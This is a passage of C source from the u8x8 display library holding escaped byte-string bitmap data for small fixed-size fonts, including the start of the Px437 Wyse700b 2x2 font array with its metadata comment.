\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\354\\354\\354\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\340\\360\\20\\20\\34\\34\\34\\20\\20\\60  \\0\\0\\0\\3\\3\\7\\4\\4\\34\\34\\34\\4\\6\"\n  \"\\6\\2\\2\\0\\0\\0\\0@@\\370\\370\\374DD\\4\\14\\10\\10\\0\\0\\0\\0\\30\\30\\30\\37\\37\\37\\20\\20\\20\\20\"\n  \"\\30\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\204\\214\\234\\270\\360\\340\\300\\340\\360\\270\\234\\214\\204\\0\\0\\0\\2\\2\\2\\2\\2\\37\\37\\37\\2\\2\"\n  \"\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\304\\304\\356*:\\22\\22\\22\\62\\42\\346\\304\\304\\0\\0\\0\\10\\10\\31\\21\\23\\22\\22\\22\\27\\25\"\n  \"\\35\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\230\\230\\274\\244\\244\\244\\244\\274\\274\\274\\240\\240\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\300@` \\240\\200\\300@`  \\0\\0\\0\\0\\0\\1\\1\\3\\2\\2\\0\\1\\1\"\n  \"\\3\\2\\2\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\14\\14\\36\\22\\22\\22\\22\\36\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0@@@@@\\370\\370\\370@@@@@\\0\\0\\0\\10\\10\\10\\10\\10\\13\\13\\13\\10\\10\"\n  \"\\10\\10\\10\\0\\204\\304\\306\\342\\242\\262\\222\\236\\214\\214\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\0\\0\\0\\0\\0\\340\\340\\340\\0\\0\\0  \\77\\37\\37\\4\\4\\4\\4\\6\"\n  \"\\3\\3\\1\\0\\0xx\\374\\204\\204\\204\\374\\374\\374\\4\\4\\374\\374\\374\\4\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\230\\230\\274\\244\\244\\244\\244\\274\\230\\230\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0  `@\\300\\200\\240 `@\\300\\200\\200\\0\\0\\0\\2\\2\\3\\1\\1\\0\\2\\2\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\10|||\\0\\0\\200\\200\\300@`  \\0\\0\\0\\4\\4\\6\\2\\3\\1\\31\\30\\34\\24>\"\n  \">>\\20\\0\\0\\10|||\\0\\0\\200\\200\\300@`  \\0\\0\\0\\4\\4\\6\\2\\3\\1\\1 \\62\\62:\"\n  \"..$\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\354\\354\\354\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\16\\16\\33\\21\\21\\20\\20\\30\\14\"\n  \"\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\206\\306\\346p\\60\\60p\\346\\306\\206\\0\\0\\0\\0\\0\\37\\37\\37\\2\\2\\2\\2\\2\\2\\37\"\n  \"\\37\\37\\0\\0\\0\\0\\0\\200\\302\\342w\\65\\65w\\342\\302\\200\\0\\0\\0\\0\\0\\37\\37\\37\\2\\2\\2\\2\\2\\2\\37\"\n  \"\\37\\37\\0\\0\\0\\300\\340\\360\\270\\234\\214\\204\\374\\374\\374\\204\\204\\204\\204\\4\\0\\37\\37\\37\\0\\0\\0\\0\\37\\37\\37\\20\"\n  \"\\20\\20\\20\\20\\0\\0\\360\\370\\370\\14\\4\\4\\4\\4\\4\\4\\14\\30\\30\\0\\0\\0\\3\\7GLHHHHXx\"\n  \"|&\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\360\\360\\24\\24\\26\\22\\23\\21\\21\\20\\20\\0\\0\\0\\0\\37\\37\\37\\21\\21\\21\\21\\21\\21\\20\"\n  \"\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\364\\364\\364v\\342\\302\\206\\4\\4\\6\\362\\362\\362\\0\\0\\0\\37\\37\\37\\0\\0\\1\\3\\7\\16\\34\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\346\\346\\66\\20\\20\\20\\20\\20\\66\\346\\346\\300\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\366\\366\\6\\0\\0\\0\\0\\0\\6\\366\\366\\360\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\340\\360\\220\\220\\220\\220\\220\\220\\220\\360``\\0\\0\\0\\37\\77\\77\\4\\4\\4\\4\\4\\4\\4\"\n  \"\\7\\3\\3\\0\\0\\0\\0\\0@DDLHXPP\\300\\200\\200\\0\\0\\0\\16\\16\\37\\21\\21\\21\\21\\21\\21\\21\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\0@PPXHLDD\\300\\200\\200\\0\\0\\0\\16\\16\\37\\21\\21\\21\\21\\21\\21\\21\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\20PXHLDLHX\\320\\220\\200\\0\\0\\0\\16\\16\\37\\21\\21\\21\\21\\21\\21\\21\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\30XX@@@@@X\\330\\230\\200\\0\\0\\0\\16\\16\\37\\21\\21\\21\\21\\21\\21\\21\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\0HH\\134TTT\\134H\\310\\200\\200\\0\\0\\0\\16\\16\\37\\21\\21\\21\\21\\21\\21\\21\"\n  \"\\37\\37\\37\\0\\0\\0@@@@\\300\\200\\200\\300@@@\\300\\300\\200\\14\\36\\36\\22\\22\\22\\37\\37\\37\\37\\22\\22\"\n  \"\\22\\23\\23\\21\\0\\0\\200\\200\\300@@@@@@\\300\\200\\200\\0\\0\\0\\0\\7\\7OHHHHXx|\"\n  \"$\\4\\0\\0\\0\\0\\200\\200\\300DDLHXPP\\300\\200\\200\\0\\0\\0\\17\\17\\37\\22\\22\\22\\22\\22\\22\\22\"\n  \"\\23\\23\\3\\0\\0\\0\\200\\200\\300@PPXHLD\\304\\200\\200\\0\\0\\0\\17\\17\\37\\22\\22\\22\\22\\22\\22\\22\"\n  \"\\23\\23\\3\\0\\0\\0\\200\\220\\320XHLDLHX\\320\\220\\200\\0\\0\\0\\17\\17\\37\\22\\22\\22\\22\\22\\22\\22\"\n  \"\\23\\23\\3\\0\\0\\0\\200\\230\\330X@@@@@X\\330\\230\\200\\0\\0\\0\\17\\17\\37\\22\\22\\22\\22\\22\\22\\22\"\n  \"\\23\\23\\3\\0\\0\\0\\0\\0\\4\\4\\14\\310\\330\\320\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\330\\310\\314\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\20\\20\\30\\10\\314\\304\\314\\10\\30\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\0\\300\\300\\300\\0\\30\\30\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\320\\320\\320XHHXP\\320\\230\\210\\10\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\37\"\n  \"\\37\\37\\0\\0\\0\\0\\0\\200\\200\\304DLHXP\\320\\200\\200\\0\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\0\\200\\200\\320PXHLD\\304\\200\\200\\0\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\0\\220\\220\\330HLDLH\\330\\220\\220\\0\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\230\\230\\330@@@@@\\330\\230\\230\\0\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\200\\200\\200\\200\\200\\230\\230\\230\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\304\\4\\14\\10\\30\\20\\20\\300\\300\\300\\0\\0\\0\\0\\17\\17\\37\\20\\20\\20\\20\\20\\20\\37\"\n  \"\\37\\37\\0\\0\\0\\0\\300\\300\\300\\20\\20\\30\\10\\14\\4\\304\\300\\300\\0\\0\\0\\0\\17\\17\\37\\20\\20\\20\\20\\20\\20\\37\"\n  \"\\37\\37\\0\\0\\0\\0\\320\\320\\330\\10\\14\\4\\4\\14\\10\\330\\320\\320\\0\\0\\0\\0\\17\\17\\37\\20\\20\\20\\20\\20\\20\\37\"\n  \"\\37\\37\\0\\0\\0\\0\\300\\330\\330\\30\\0\\0\\0\\0\\30\\330\\330\\300\\0\\0\\0\\0\\17\\17\\37\\20\\20\\20\\20\\20\\20\\37\"\n  \"\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0@\\330\\330\\230\\0\\0\\0\\0\\0\\230\\330\\330@\\0\\0\\0\\0\\0Acw>\\34\\16\\7\\3\"\n  \"\\1\\0\\0\";\n/*\n  Fontname: -FreeType-Px437 Wyse700b-Medium-R-Normal--16-160-72-72-P-124-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 96/288\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_px437wyse700b_2x2_r[3077] U8X8_FONT_SECTION(\"u8x8_font_px437wyse700b_2x2_r\") = \n  \" \\177\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\33\\33\\33\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\36\\36\\36\\0\\0\\0\\0\\36\\36\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0  \\370\\370\\370    \\370\\370\\370  \\0\\0\\4\\4\\37\\37\\37\\4\\4\\4\\4\\37\\37\"\n  \"\\37\\4\\4\\0\\0\\60xx\\314\\204\\204\\376\\376\\204\\204\\214\\30\\30\\20\\0\\0\\4\\14\\14\\30\\20\\20\\77\\77\\20\\20\\31\"\n  \"\\17\\17\\6\\0\\0\\0\\0\\60\\60\\60\\60\\0\\200\\300\\340p\\60\\20\\0\\0\\0\\0\\0\\20\\30\\34\\16\\7\\3\\1\\30\\30\"\n  \"\\30\\30\\0\\0\\0\\0\\20\\70\\270\\354\\304\\304\\304\\354\\70\\70\\220\\200\\200\\0\\0\\6\\17\\17\\31\\20\\20\\20\\31\\37\\17\\17\"\n  \"\\37\\31\\20\\0\\0\\0\\0\\0\\0\\20\\30\\34\\16\\6\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\34\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\34\\30\\20\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\\34\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\30\\34\\17\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\240\\240\\340\\300\\300\\300\\340\\240\\240\\200\\200\\0\\0\\0\\0\\0\\2\\2\\3\\1\\1\\1\\3\\2\"\n  \"\\2\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\360\\360\\360\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@xx\\70\\30\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\30\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\70\\30\\10\\0\\0\\0\\0\\0\\10\\14\\16\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\370\\14\\4\\204\\304d<\\370\\370\\360\\0\\0\\0\\0\\7\\17\\17\\36\\23\\21\\20\\20\\30\\17\"\n  \"\\17\\7\\0\\0\\0\\0\\0\\0\\20\\20\\30\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\10\\14\\4\\4\\4\\4\\204\\204\\314xx\\60\\0\\0\\0\\30\\34\\34\\26\\22\\23\\21\\21\\20\\20\"\n  \"\\20\\20\\20\\0\\0\\0\\10\\10\\14\\4\\4\\204\\204\\204\\204\\314xx\\60\\0\\0\\0\\10\\10\\30\\20\\20\\20\\20\\20\\20\\31\"\n  \"\\17\\17\\6\\0\\0\\0\\200\\300\\340p\\70\\34\\14\\374\\374\\374\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\37\\37\\37\"\n  \"\\1\\1\\0\\0\\0\\0|||DDDDDD\\304\\204\\204\\4\\0\\0\\0\\10\\10\\30\\20\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\360\\370\\370\\214\\204\\204\\204\\204\\204\\204\\0\\0\\0\\0\\0\\0\\7\\17\\17\\30\\20\\20\\20\\20\\20\\31\"\n  \"\\17\\17\\6\\0\\0\\0\\4\\4\\4\\4\\4\\204\\304\\344|<\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\60xx\\314\\204\\204\\204\\204\\204\\314xx\\60\\0\\0\\0\\6\\17\\17\\31\\20\\20\\20\\20\\20\\31\"\n  \"\\17\\17\\6\\0\\0\\0\\60xx\\314\\204\\204\\204\\204\\204\\214\\370\\370\\360\\0\\0\\0\\0\\0\\20\\20\\20\\20\\20\\20\\20\\30\"\n  \"\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\34\\34\\14\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\70\\34\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\16\\34\\30\\20\\0\"\n  \"\\0\\0\\0\\0\\0\\0@@@@@@@@@@@@\\0\\0\\0\\0\\2\\2\\2\\2\\2\\2\\2\\2\\2\\2\"\n  \"\\2\\2\\0\\0\\0\\0\\0\\0\\0\\4\\14\\34\\70p\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\20\\30\\34\\16\\7\\3\\1\"\n  